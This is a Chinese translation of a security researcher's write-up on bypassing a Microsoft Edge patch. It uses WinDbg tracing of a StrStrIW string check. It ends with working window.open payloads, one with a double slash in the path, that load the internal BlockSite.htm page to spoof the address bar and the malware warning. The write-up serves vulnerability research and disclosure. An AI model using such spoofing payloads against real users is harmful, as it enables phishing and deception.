查看原文
其他

绕过补丁实现欺骗地址栏和恶意软件警告

2017-03-25 StrokMitream 看雪学院

微软推送了一个大规模更新。本次更新修复了众多的安全漏洞,包括来自本网站的大部分。这是一个巨大的荣誉,一个属于 Edge 开发者们及负责该安全的开发者的荣誉。对于那些依然维持 IE 浏览器策略的开发者,我觉得至少要公开地表态为什么不继续维护 IE 了。要么让它停更,要么继续维护。

快速回顾

微软 Edge 允许加载一些内部资源包括类似 acr_error.htm 的 html 网页,不过不允许BlockSite.htm 的加载。为何呢?这是因为后者很容易被用于欺骗内部恶意软件警告和地址栏。前几个月,我们通过把URL中的一个点改为对应的转义来绕过该限制,现在这个被打上补丁了。Edge 开发者在检查字符串输入之前解码恶意 URL,所以得找其他的方法了。加把劲!关掉那烦人的 facebook 消息栏,别在其他地方让费时间了。统统都关掉吧,让我们沉浸在有趣的二进制的海洋吧!

没有标记

到目前为止,微软公司并没有上传太多的公开标记,所以我们的分析不可能像上周(当时标记已经公开)一样正当。不过,也别担心,我们只是尝试绕过补丁而已,请在心里铭记攻击者的心态:我们只是想绕过补丁,仅此而已。我想,攻击者难道会说先休息一个星期吧,等微软公开它的标志。

寻找“blocksite.htm”

我们知道,在 Edge 浏览器成千上万行代码里,肯定有一个比较字符串来阻止“blocksite.htm”加载,因此我们将依靠 Edge 定位到该字符串并通过设置内存访问断点来监测它的读取。

下面的 Javascript 调用 ACCESS_DENIED 不过并未开启一个新窗口:

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm");


这个内部 URL 被 Edge 屏蔽,因为,这个特别的错误页面能接收哈希值查询语句,这将使攻击者实现地址栏和页面内容欺骗。

我们的目标是打开那个 URL 再次欺骗 Edge。为此,要实现这个目标,我们将使用下面的URL(末尾处的点和‘faceboook’编码使我们可以在内存中检查我们的字符串):

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");

我们链接到 Edge 去查找 BlockSite.htm。首先,将搜索范围限定在大多数代码汇集的 EdgeHtml.dll 模块。这仅仅是个猜测,如果我们在这里什么都没找到,那么我们将查找其他模块甚至所有的 Edge 文件。

一旦链接到正确的 Edge 浏览器进程,我们需要了该模块的起始结束地址,这样我们才能确定在内存的搜索范围。

0:029> lm m edgehtml

Browse full module list

start end module name

00007fff`54ba0000 00007fff`5614d000 edgehtml

现在我们可以为搜索命令提供地址范围和要搜索的字符串了。WinDbg 的语法实在是吓人的,不过我可以告诉你下面的指令是在那些难以阅读的 64 位地址间搜索‘s’并返回 Unicode 字符 u 的【1】地址。

0:029> s -[1]u 00007fff`54ba0000 00007fff`5614d000 "BlockSite"

0x00007fff`55d90846

0x00007fff`55d90944

0x00007fff`55e52c02

好的,WinDbg 迅速返回三个地址,我们看看是否正确的。Du du du,像是Dudú——我的朋友,昵称叫“Dudú”。

0:029> du 0x00007fff`55d90846; du 0x00007fff`55d90944; du0x00007fff`55e52c02

00007fff`55d90846 "BlockSite.htm"

00007fff`55d90944 "BlockSite.htm"

00007fff`55e52c02 "BlockSite.htm"

我瞬时激动了。我们想找出该字符串的访问者,因此在这三个地址上都设置了断点。

ba r1 0x00007fff`55d90846

ba r1 0x00007fff`55d90944

ba r1 0x00007fff`55e52c02

g (keep running, Edge!)

好极了!接着转到 Javascript 代码试着打开我们的恶意链接。

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");

哇!极速断点,返回到 WinDbg,看看返回的结果:

Breakpoint 0 hit

KERNELBASE!lstrlenW+0x18:

00007fff`74f6e2c8 75f6 jne KERNELBASE!lstrlenW+0x10 (00007fff`74f6e2c0) [br=1]

从这看来我们在 kernelbase 模块,不过我们的目的是找到与字符串相关的EdgeHtml 模块。我们去看一下最近的5次栈跟踪调用。

0:013> k 5

# Child-SP RetAddr Call Site

00 000000d3`14df8de8 00007fff`74f70244 KERNELBASE!lstrlenW+0x18

01 000000d3`14df8df0 00007fff`54fee629 KERNELBASE!StrStrIW+0x54

02.000000d3`14df8eb0  00007fff`55004e6b   edgehtml!Ordinal107+0xc6059

03 000000d3`14df9f50  00007fff`55007272   edgehtml!Ordinal107+0xdc89b

04 000000d3`14df9f80  00007fff`55004cae   edgehtml!Ordinal107+0xdeca2

前两个属于 kennelbase 模块,接下来的这个来自 edgehtml。更清楚规范地讲,一段 edgehtml 的代码调用了 kennelbase 模块库的的 StrStrIW 函数。通过谷歌搜索,我们在 MSDN 上找到了 StrStrIW 函数的说明文档:

文档非常讲得非常清楚,多亏了栈跟踪,我们得以知道 edgehtml 调用的是这个函数。我们在返回地址之前设置断点,这样我们就可以分析在这之前的代码了(顺便提一下,也可以通过两次分步执行达到同样的效果,不妨试试)。

bp edgehtml!Ordinal107+0xc6059

g

砰!立即到了断点。 

Breakpoint 3 hit

edgehtml!Ordinal107+0xc6059:

00007fff`54fee629 4885c0 test rax,rax

我们刚从字符串的比较中返回,因此我们看看稍前时间发生了什么。在WinDbg 下,我们可以很容易地反汇编:

0:013> ub $ip

edgehtml!Ordinal107+0xc602d:

00007fff`54fee5fd lea rdx,[edgehtml!Ordinal138+0x3e4ff8 (00007fff`55d5e6b8)]

00007fff`54fee604 lea rcx,[rsp+30h]

00007fff`54fee609 call qword ptr [edgehtml!Ordinal138+0x38b5b8 (00007fff`55d04c78)]

00007fff`54fee60f test eax,eax

00007fff`54fee611  jne   edgehtml!Ordinal107+0xc6108 (00007fff`54fee6d8)

00007fff`54fee617  lea    rdx,[edgehtml!Ordinal138+0x417160] (Second Argument)

00007fff`54fee61e lea rcx,[rsp+30h]    (First Argument)

00007fff`54fee623 call qword ptr [edgehtml!Ordinal138+0x38b5c8]


干得真棒!不过,由于字符问题,这些东西有点难看。也别太在意,我们知道,这是从上面的调用(最近的这条)返回,是吧? 而且,在调用之前,传递了两个参数,一个在rdx,另一个在rcx(这两个都是指令)。由于调用已经执行,其中的值可能改变了,所以无法得知其中的具体情况。接下来,我们通过在最后一次的调用(还未执行)之前设置断点来更进一步地检查该值:

bd * (disable previous breakpoints)

bp 00007fff`54fee623

g

现在我们可以在它比较之前看个究竟。运行Javascript:

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite%2ehtm?BlockedDomain=facebook.com");

断点恰好在执行比较前启动了:

Breakpoint 4 hit

edgehtml!Ordinal107+0xc6053:

00007fff`54fee623 call qword ptr [edgehtml!Ordinal138+0x38b5c8] ds:00007fff`55d04c88={KERNELBASE!StrStrIW (00007fff`74f701f0)}

我们检查一下传递给 StrStrl 函数的参数:

0:013> du @rcx (First argument)

000000d3`14df8ee0 "ms-appx-web://microsoft.microsof"

000000d3`14df8f20 "tedge/assets/errorpages/BlockSit"

000000d3`14df8f60 "e.htm?BlockedDomain=facebook.com"

  

0:013> du @rdx (Second argument)

00007fff`55d90820 "/assets/errorPages/BlockSite.htm"

哦!看,我构造的 %2e 已经被解码成点了。这表明 Edge 调用 StrStrl

函数,然后检查 URL 中是否存在“/assets/errorPages/BlockSite.htm”。下面的的 pseudoCode 就是我所坚信的:

记住,我们这是在推断,这很重要。因为实际中是不可能在比较之后再检查的。不过,目前我们正需要进行比较,所以希望它快点进行。对此,我们并不是特别关心,只要可以用相同的技术再次绕过就行。

Var url =  "ms-appx-web://microsoft.microsoftedge/assets/errorpages/BlockSite.htm?BlockedDomain=facebook.com";

var badString = "/assets/errorPages/BlockSite.htm";

if (badString is inside URL) ACCESS_DENIED;

现在主要的问题是浏览器会阻止硬编码的字符串尽管 URL 可以写成多种不同的形式。先前的方法是编码进一个点,现在我们要解码并且已经确切地了解了字符串比较的过程,所以需要新的方法。我想到很多主意比如,多重编码,在 URL 中插入斜杠等。我们试试在 URL 中插入斜杠来欺骗字符串检查,希望是有效的输入。正如在错误页面插入破折号: 

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com");


哇!看,简单的双斜杠就绕过了补丁,同时,还能加载URL。现在,我们构造一个更好的查询字符串来完全欺骗恶意报警页面,就像我们那样:

window.open("ms-appx-web://microsoft.microsoftedge/assets/errorpages//BlockSite.htm?BlockedDomain=facebook.com&Host=These guys at Facebook and in particular, Justin Rogers#http://www.facebook.com");


本文由 看雪翻译小组 StrokMitream 编译,来源Manuel@brokenbrowser


 热 门 阅 读:



《走进企业看安全.易宝支付》第9站 报名倒计时!

AutoIt 脚本反混淆

攻击 Western Digital NAS 个人云存储设备

渗透测试 Node.js 应用

UPDATE 查询中的 SQL 注入

......

更多优秀文章点击左下角阅读原文查看!


看雪论坛:http://bbs.pediy.com

微信公众号 ID:ikanxue

微博:看雪安全

投稿、合作:www.kanxue.com 

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存